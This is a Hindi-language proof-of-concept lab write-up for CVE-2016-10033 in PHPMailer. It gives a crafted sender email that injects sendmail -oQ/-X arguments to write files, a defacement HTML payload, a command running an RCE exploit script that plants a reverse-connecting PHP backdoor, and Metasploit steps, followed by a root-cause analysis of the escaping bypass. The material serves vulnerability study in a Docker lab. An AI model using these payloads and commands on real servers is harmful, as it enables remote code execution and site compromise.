
सीवीई-2016-10033 (PHPMailer) के लिए अवधारणा का प्रमाण
पहले वल्नरेबल एप्लिकेशन को चालू करते हैं
कमांड: docker pull vulnerables/cve-2016-10033


अब आप वेब ब्राउज़र में localhost:8080 पर वल्नरेबल वेबसाइट तक पहुँच सकते हैं।

नाम इनपुट: OSEC (कोई भी स्ट्रिंग हो सकता है, इससे एक्सप्लॉयट प्रभावित नहीं होता)
क्राफ्टेड प्रेषक ईमेल: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
यह क्राफ्टेड प्रेषक ईमेल कैसे काम करता है, इसका विस्तृत विवरण हमले वेक्टर के विवरण अनुभाग में दिया गया है। विशिष्ट पैरामीटर्स के लिए, दूसरा पैरामीटर -oQ/tmp क्यू निर्देशिका निर्दिष्ट करता है और तीसरा पैरामीटर, -X/www/pwn.html लिखे जाने वाले लॉग फ़ाइल का स्थान निर्दिष्ट करता है।
यदि क्यू निर्देशिका निर्दिष्ट नहीं की जाती है, तो sendmail प्रक्रिया डिफ़ॉल्ट मेल क्यू निर्देशिका (/var/spool/mqueue-client/) तक पहुँचने का प्रयास करेगी, जो अनधिकृत पहुँच और छेड़छाड़ को रोकने के लिए सुरक्षित होगी, जो एक सामान्य सुरक्षा उपाय है। इस अनुमति समस्या से बचने के लिए, आपको एक क्यू निर्देशिका निर्दिष्ट करनी चाहिए जहाँ PHP स्क्रिप्ट चलाने वाले उपयोगकर्ता के पास लिखने की अनुमति हो। आमतौर पर, /tmp जैसी निर्देशिका का उपयोग किया जाता है क्योंकि यह सामान्यतः सभी उपयोगकर्ताओं के लिए लिखने योग्य होती है।
यदि ईमेल के बॉडी में PHP कोड है, और यदि निर्दिष्ट लॉग फ़ाइल को वेब-एक्सेसिबल निर्देशिका में रखा गया है, तो हमलावर वेब ब्राउज़र के माध्यम से लॉग फ़ाइल तक पहुँचकर PHP कोड निष्पादित कर सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है।
संदेश इनपुट: यह सिर्फ एक उदाहरण HTML फ़ाइल है जिसे हमलावर अपलोड कर सकता है। बेशक, हमलावर इससे भी बुरी चीज़ अपलोड कर सकता है जैसे बैकडोर, जो हम अगले विधि में करेंगे।
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

कमांड: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> लक्ष्य URL निर्दिष्ट करता है
-cf -> -url में निर्दिष्ट URL के भीतर संपर्क फ़ॉर्म का स्थान निर्दिष्ट करता है (हमारे मामले में यह बिल्कुल -url के समान है, इसलिए हमने सिर्फ एक स्लैश शामिल किया)
-ip -> बैकडोर को वापस कनेक्ट करने के लिए हमलावर का IP निर्दिष्ट करता है
-d -> बैकडोर PHP फ़ाइल अपलोड करने के लिए सापेक्ष निर्देशिका निर्दिष्ट करता है
--post-action -> छिपे हुए फ़ील्ड का name गुण
--post-msg -> संदेश इनपुट फ़ील्ड का name गुण
नोट: हमें --post-action को "submit" और --post-msg को "message" क्यों निर्दिष्ट करना पड़ता है, इसका कारण यह है कि हम जिस वल्नरेबल एप्लिकेशन का उपयोग कर रहे हैं, उसमें name गुण Python एक्सप्लॉयट स्क्रिप्ट में उपयोग किए गए डिफ़ॉल्ट मानों से भिन्न हैं।
वल्नरेबल एप्लिकेशन में name गुण:

स्क्रिप्ट में निर्दिष्ट डिफ़ॉल्ट name गुण:


उपरोक्त छवि में आप देख सकते हैं कि प्रोग्राम http://127.0.0.1:8080//www/phpbackdoor9284.php तक पहुँचने का प्रयास कर रहा है, जो //www के कारण स्पष्ट रूप से गलत है। यह काम नहीं करेगा क्योंकि इस वल्नरेबल वेबसाइट में /www वेबसाइट रूट है, इसलिए आप http://127.0.0.1:8080/www पर नहीं जा सकते क्योंकि http://127.0.0.1:8080 पहले से ही /www पर है।
इसके अलावा नीचे दी गई छवि में हम देख सकते हैं कि एक्सप्लॉयट वास्तव में काम कर गया क्योंकि phpbackdoor9284.php निर्देशिका में सफलतापूर्वक बन गया है। इसलिए एकमात्र समस्या यह थी कि URL से //www को कैसे हटाया जाए।

Python स्क्रिप्ट की आगे जाँच करने पर, हम BACKDOOR_URL वेरिएबल का पता लगाने में सफल रहे जो बैकडोर PHP फ़ाइल का URL निर्दिष्ट करता है।
वेरिएबल में हम देख सकते हैं कि हमारे द्वारा निर्दिष्ट लक्ष्य निर्देशिका (args.TARGET_UP_DIR) को BACKDOOR_FILE वेरिएबल के साथ जोड़ा जा रहा है।
समस्या को हल करने के लिए, हमें उस अतिरिक्त स्लैश को हटाना होगा।
पहले:

बाद में:


कमांड:
msfconsole
search CVE-2016-10033
use 1

कमांड:
set RHOSTS 192.168.79.1 (लक्ष्य का IP निर्दिष्ट करता है)
set RPORT 8080 (लक्ष्य का पोर्ट निर्दिष्ट करता है)
set TARGETURI /(वेब फ़ॉर्म का URL निर्दिष्ट करता है)
set WEB_ROOT /www (वेबसाइट रूट का स्थान निर्दिष्ट करता है)

कमांड: exploit

हम POC के अंत में आ गए हैं।
PHPMailer क्लास PHP mail() फ़ंक्शन को अपने डिफ़ॉल्ट ट्रांसपोर्ट के रूप में उपयोग करता है।
ट्रांसपोर्ट को mailSend() फ़ंक्शन का उपयोग करके कार्यान्वित किया जाता है:

यदि आप पंक्ति 12 को देखें,

प्रेषक पते को -f के साथ जोड़ा गया है जैसा कि PHP mail() फ़ंक्शन के दस्तावेज़ीकरण में बताया गया है, ताकि sendmail बाइनरी को बताया जा सके कि -f तर्क के बाद की स्ट्रिंग प्रेषक का ईमेल पता है।

mailSend() फ़ंक्शन की अंतिम पंक्ति पर,

PHP mail() फ़ंक्शन के लिए आवश्यक सभी तर्क पारित किए जाते हैं, जिसमें $params का 5वाँ पैरामीटर भी शामिल है जो sendmail बाइनरी को अतिरिक्त पैरामीटर पारित करने की अनुमति देता है।
नीचे दी गई तस्वीर उन पैरामीटर्स को दिखाती है जो mail() फ़ंक्शन लेता है, जो mailSend() फ़ंक्शन द्वारा पारित पैरामीटर्स से मेल खाते हैं।

जैसा कि ऊपर देखा गया है, हम जानते हैं कि $params स्ट्रिंग Sender वेरिएबल से बनी है। यह Sender स्ट्रिंग सामान्यतः setFrom() विधि का उपयोग करके सेट की जाती है, जो उपयोगकर्ता द्वारा वेबफ़ॉर्म में टाइप किए गए प्रेषक के पते को मान्य करती है।

validateAddress() फ़ंक्शन की वैधता के कारण, PHPMailer उदाहरण के लिए एक ईमेल को अस्वीकार कर देगा जैसे,
attacker -InjectedParam2 @attacker.com
जो mail() फ़ंक्शन के माध्यम से Sendmail को अतिरिक्त पैरामीटर इंजेक्ट करने से रोकेगा।
CVE के संस्थापक द्वारा आगे के शोध में उन्होंने महसूस किया कि वैधता वास्तव में RFC 3696 विनिर्देश का उपयोग करके की जाती है।
RFC ईमेल में रिक्त स्थान को अनुमति देता है जब " के साथ उद्धृत किया जाता है। इसलिए निम्नलिखित ईमेल पता setFrom() विधि द्वारा स्वीकार किया जाएगा:
"Attacker -Param2 -Param3"@test.com
जो फिर mailSend() फ़ंक्शन और फिर PHP mail() फ़ंक्शन को पारित किया जाएगा, जो तब /usr/bin/sendmail , MTA (मेल ट्रांसफर एजेंट) बाइनरी को निम्नलिखित तर्कों की सूची के साथ निष्पादित करेगा:
तर्क सं. 0 == [/usr/sbin/sendmail]
तर्क सं. 1 == [-t] (हेडर से प्राप्तकर्ता पढ़ें)
तर्क सं. 2 == [-i] (पंक्तियों पर डॉट्स को अनदेखा करें)
तर्क सं. 3 == [-f”Attacker -Param2 -Param3”@test.com]
दूसरे शब्दों में इस प्रकार:

जो हमलावर के लिए काम नहीं करेगा क्योंकि Param2 और Param3 उसी तर्क संख्या 3 के भीतर पारित किए गए हैं जो प्रेषक का पता निर्दिष्ट करता है।
हालांकि हमलावर कुछ अतिरिक्त एस्केपिंग द्वारा इससे बाहर निकल सकते हैं। प्रेषक ईमेल में पहले तर्क के बाद \" का एक अतिरिक्त अनुक्रम इंजेक्ट करके,
"Attacker \" -Param2 -Param3"@test.com
और जब PHPMailer और अंततः mail() फ़ंक्शन को पारित किया जाता है, तो यह sendmail बाइनरी को निम्नलिखित तर्कों की सूची के साथ निष्पादित करेगा:
तर्क सं. 0 == [/usr/sbin/sendmail]
तर्क सं. 1 == [-t]
तर्क सं. 2 == [-i]
तर्क सं. 3 == [-fAttacker\]
तर्क सं. 4 == [-Param2]
तर्क सं. 5 == [-Param3"@test.com]
दूसरे शब्दों में इस प्रकार:

इस प्रकार इस बार हमलावर अतिरिक्त पैरामीटर इंजेक्ट करने में सक्षम होंगे, इस मामले में पैरामीटर 4 और 5।
यह भेद्यता Dawid Golunski द्वारा खोजी गई थी।
डॉकर इमेज opsxcq द्वारा बनाई गई थी - https://github.com/opsxcq
और अंतिम लेकिन कम नहीं, मेरे प्यारे समूह सदस्य जिन्होंने POC में मेरी मदद की:
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/